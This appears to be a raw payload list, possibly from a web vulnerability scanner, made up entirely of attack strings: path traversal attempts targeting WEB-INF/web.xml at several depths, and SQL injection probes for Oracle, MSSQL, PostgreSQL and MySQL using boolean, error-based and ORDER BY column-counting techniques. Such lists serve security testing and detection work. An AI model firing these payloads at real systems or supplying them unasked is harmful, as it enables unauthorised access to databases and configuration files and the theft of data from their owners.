../../../../../WEB-INF/web.xml

' anD (SELECT upper(XMLType(chr(60)||chr(76)||chr(62)||chr(60)||chr(47)||chr(76)||chr(62))) FROM dual) is not null anD '1'='1

../../../../WEB-INF/web.xml

' anD CONVERT(int,CHAR(56)+CHAR(54))>=0 anD '1'='1

%' oRder by 0#

' anD CONVERT(int,CHAR(90)+CHAR(69))>=0 anD '1'='1

../../../WEB-INF/web.xml

%' oRder by 1#

' anD CAST(CHR(51)::text||CHR(51)::text AS NUMERIC) >= 0 anD '1'='1

' anD CAST(CHR(96)::text||CHR(87)::text AS NUMERIC) >= 0 anD '1'='1

../../WEB-INF/web.xml

%' oRder by 34#

' anD exp(384)=exp(384) anD '1'='1

' anD exp(1300)=exp(1300) anD '1'='1

%' oRder by 0

../WEB-INF/web.xml

' RLIKE (SELECT (CASE WHEN (5488=5488) THEN 1 ELSE 0x28 END))-- GSiC

' RLIKE (SELECT (CASE WHEN (2401=7306) THEN 1 ELSE 0x28 END))-- GSiC

%' oRder by 1

%') oR 5572=5572 #